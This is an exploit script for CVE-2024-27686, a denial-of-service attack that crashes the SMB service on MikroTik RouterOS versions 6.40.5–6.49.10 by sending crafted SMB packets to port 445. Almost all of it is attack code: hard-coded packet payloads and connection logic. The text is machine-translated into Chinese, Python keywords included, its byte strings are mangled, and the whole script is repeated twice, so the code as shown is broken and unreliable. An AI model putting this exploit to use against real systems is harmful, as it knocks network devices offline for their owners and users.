#Exploit Title: CVE-2024-27686: Routeros-SMB-DOS
#Google Dork: N/A
#日期: 03/04/2024
#利用作者: ICE-WZL,冬至网络解决方案
#供应商homepage: https://mikrotik.com/
#软件link: https://mikrotik.com/download/archive
#版本: Routeros设备范围为6.40.5-6.44和6.48.1-6.49.10
#测试ON: Routeros 6.40.5-6.44和6.48.1-6.49.10
#CVE : CVE-2024-27686
#!/usr/bin/python3
#由Ice-WZL与冬至网络解决方案共同创立
导入argparse
导入系统
导入套接字
#定义数据包
#导致崩溃6.40.5-6.42.3的数据包
fuzzed_packet_6=B'\ x00 \ x00 \ x00n \ xfesmb@\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xf1 \ xf1 \ x1f \ x1f \ x08 \ x008 \ x00 \ x00 \ x00 0\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x 00 \ x00 \ x00 \ x00 \ x00g \ xe5 \ x07 \ xf5 \ x07 \ x07 \ xec \ x01u \ xe4q] \ x9e \ x9e \ xea \ xea \ xedn \ xedn \ xa9 \ xa9 \ xa9 \ x00 \ t \ t 00 \ x00 \ x001 \ x009 \ x002 \ x00。\ x001 \ x006 \ x006 \ x008 \ x00。
packet_0=B'\ X00 \ X00 \ X00 \ XEA \ XFESMB@\ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ x00 \ x1f \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x0 0 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 $ \ x00 \ x00 \ x05 \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ x 00 \ x7f \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xe8 \ xe4*\ x99 \ xc9 \ xeb \ xb6e \ xb6e \ xa2a \ xe 9(\ xee%\ xe5 \ xdfp \ x00 \ x00 \ x00 \ x00 \ x04 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02 \ x02 \ x02 \ x10 \ x02 \ x00 \ x03 \ x02 \ x03 \ x11 \ x03 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x01 \ x00_ \ xf7m \ xf2H*\ x8f \ x8ae \ x0f8+t=na8_ \ x0b@c \ x82 \ x82 \ x87 \ x87 \ x87 \ x87 \ xc3qz \ xc3qz \ xd7 \ xcf0m X00 \ x02 \ x00 \ n \ x00 \ x00 \ x00 \ x00 \ x00 \ x04 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x04 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x08 \ x00 \ x08 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x001 \ x009 \ x002 \ x00。
packet_2_fuzzed=b'\ x00 \ x00 \ x00 \ xa2 \ xfesmb@\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x19 \ x19 \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00x \ x00j \ x00j \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x0 0 \ x00 \ x00`h \ x05 \ x06+\ x06 \ x01 \ x05 \ x05 \ x05 \ x02 \ xa00 \ xa0 \ xa0 \ x0e21540373 \ xb a \ xad211 \ x0c \ x06 \ n+\ x06 \ x01 \ x04 \ x01 \ x01 \ x822945178874446830 \ x02 \ x02 \ x02 \ x02 \ xa2 *\ x04(ntlmssp \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x15 \ x82 \ x82 \ x08b \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00(\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x0f'
def open_connection(IP,端口):
s=socket.socket(socket.af_inet,socket.sock_stream)
TRY:
S.Connect((IP,端口))
返回s
除了ConnectionRefusedError:
打印(f'[!]连接拒绝on: {ip} {port}')
sys.exit(2)
def send_payload_high(s):
S.Send(packet_0)
S.Send(Packet_2_fuzzed)
s.close()
def send_payload_low(s):
S.Send(fuzzed_packet_6)
s.close()
def verify_input(user_inp):
TRY:
user_inp=int(user_inp)
如果USER_INP 2或USER_INP 1:
返回3
其他:
返回User_inp
valueerror:除外
返回0
如果name=='__ -Main __':
parser=argparse.argumentparser(prog='smb崩溃',
description='崩溃mikrotik routeros smb服务6.40.5-6.49.10',
epilog='发现的by: ice-wzl')
parser.add_argument(' - t',' - target',action='store',dest='target')
parser.add_argument(' - p',' - port',action='store',dest='port')
args=parser.parse_args()
如果不是args.target,not args.port:
print(f'[+] python3 {sys.argv [0]} -help')
sys.exit(1)
print('[+]哪个版本是target: \ n \ t [1] 6.40.5-6.44 \ n \ t [2] 6.48.1-6.49.10 \ nenter 1或2:')
version_choice=输入(' - ')
如果verify_input(version_choice)==0:
打印(“请输入一个号码.')
sys.exit(3)
elif verify_input(version_choice)==3:
打印(“请输入1到2之间的数字”)
sys.exit(4)
如果verify_input(version_choice)==1:
如果Args.port:
get_connect=open_connection(args.target,int(args.port))
send_payload_low(get_connect)
{args.port}')print(f'[+]将doS发送到{args.target}')
其他:
get_connect=open_connection(args.target,445)
send_payload_low(get_connect)
打印(f'[+]在445'上将doS发送到{args.target})
如果verify_input(version_choice)==2:
如果Args.port:
get_connect=open_connection(args.target,int(args.port))
send_payload_high(get_connect)
{args.port}')print(f'[+]将doS发送到{args.target}')
其他:
get_connect=open_connection(args.target,445)
send_payload_high(get_connect)
打印(f'[+]在445'上将doS发送到{args.target})
#Google Dork: N/A
#日期: 03/04/2024
#利用作者: ICE-WZL,冬至网络解决方案
#供应商homepage: https://mikrotik.com/
#软件link: https://mikrotik.com/download/archive
#版本: Routeros设备范围为6.40.5-6.44和6.48.1-6.49.10
#测试ON: Routeros 6.40.5-6.44和6.48.1-6.49.10
#CVE : CVE-2024-27686
#!/usr/bin/python3
#由Ice-WZL与冬至网络解决方案共同创立
导入argparse
导入系统
导入套接字
#定义数据包
#导致崩溃6.40.5-6.42.3的数据包
fuzzed_packet_6=B'\ x00 \ x00 \ x00n \ xfesmb@\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xf1 \ xf1 \ x1f \ x1f \ x08 \ x008 \ x00 \ x00 \ x00 0\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x 00 \ x00 \ x00 \ x00 \ x00g \ xe5 \ x07 \ xf5 \ x07 \ x07 \ xec \ x01u \ xe4q] \ x9e \ x9e \ xea \ xea \ xedn \ xedn \ xa9 \ xa9 \ xa9 \ x00 \ t \ t 00 \ x00 \ x001 \ x009 \ x002 \ x00。\ x001 \ x006 \ x006 \ x008 \ x00。
packet_0=B'\ X00 \ X00 \ X00 \ XEA \ XFESMB@\ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ X00 \ x00 \ x1f \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x0 0 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 $ \ x00 \ x00 \ x05 \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ x 00 \ x7f \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xe8 \ xe4*\ x99 \ xc9 \ xeb \ xb6e \ xb6e \ xa2a \ xe 9(\ xee%\ xe5 \ xdfp \ x00 \ x00 \ x00 \ x00 \ x04 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02 \ x02 \ x02 \ x10 \ x02 \ x00 \ x03 \ x02 \ x03 \ x11 \ x03 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x01 \ x00_ \ xf7m \ xf2H*\ x8f \ x8ae \ x0f8+t=na8_ \ x0b@c \ x82 \ x82 \ x87 \ x87 \ x87 \ x87 \ xc3qz \ xc3qz \ xd7 \ xcf0m X00 \ x02 \ x00 \ n \ x00 \ x00 \ x00 \ x00 \ x00 \ x04 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x04 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x08 \ x00 \ x08 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x001 \ x009 \ x002 \ x00。
packet_2_fuzzed=b'\ x00 \ x00 \ x00 \ xa2 \ xfesmb@\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x19 \ x19 \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00x \ x00j \ x00j \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x0 0 \ x00 \ x00`h \ x05 \ x06+\ x06 \ x01 \ x05 \ x05 \ x05 \ x02 \ xa00 \ xa0 \ xa0 \ x0e21540373 \ xb a \ xad211 \ x0c \ x06 \ n+\ x06 \ x01 \ x04 \ x01 \ x01 \ x822945178874446830 \ x02 \ x02 \ x02 \ x02 \ xa2 *\ x04(ntlmssp \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x15 \ x82 \ x82 \ x08b \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00(\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x0f'
def open_connection(IP,端口):
s=socket.socket(socket.af_inet,socket.sock_stream)
TRY:
S.Connect((IP,端口))
返回s
除了ConnectionRefusedError:
打印(f'[!]连接拒绝on: {ip} {port}')
sys.exit(2)
def send_payload_high(s):
S.Send(packet_0)
S.Send(Packet_2_fuzzed)
s.close()
def send_payload_low(s):
S.Send(fuzzed_packet_6)
s.close()
def verify_input(user_inp):
TRY:
user_inp=int(user_inp)
如果USER_INP 2或USER_INP 1:
返回3
其他:
返回User_inp
valueerror:除外
返回0
如果name=='__ -Main __':
parser=argparse.argumentparser(prog='smb崩溃',
description='崩溃mikrotik routeros smb服务6.40.5-6.49.10',
epilog='发现的by: ice-wzl')
parser.add_argument(' - t',' - target',action='store',dest='target')
parser.add_argument(' - p',' - port',action='store',dest='port')
args=parser.parse_args()
如果不是args.target,not args.port:
print(f'[+] python3 {sys.argv [0]} -help')
sys.exit(1)
print('[+]哪个版本是target: \ n \ t [1] 6.40.5-6.44 \ n \ t [2] 6.48.1-6.49.10 \ nenter 1或2:')
version_choice=输入(' - ')
如果verify_input(version_choice)==0:
打印(“请输入一个号码.')
sys.exit(3)
elif verify_input(version_choice)==3:
打印(“请输入1到2之间的数字”)
sys.exit(4)
如果verify_input(version_choice)==1:
如果Args.port:
get_connect=open_connection(args.target,int(args.port))
send_payload_low(get_connect)
{args.port}')print(f'[+]将doS发送到{args.target}')
其他:
get_connect=open_connection(args.target,445)
send_payload_low(get_connect)
打印(f'[+]在445'上将doS发送到{args.target})
如果verify_input(version_choice)==2:
如果Args.port:
get_connect=open_connection(args.target,int(args.port))
send_payload_high(get_connect)
{args.port}')print(f'[+]将doS发送到{args.target}')
其他:
get_connect=open_connection(args.target,445)
send_payload_high(get_connect)
打印(f'[+]在445'上将doS发送到{args.target})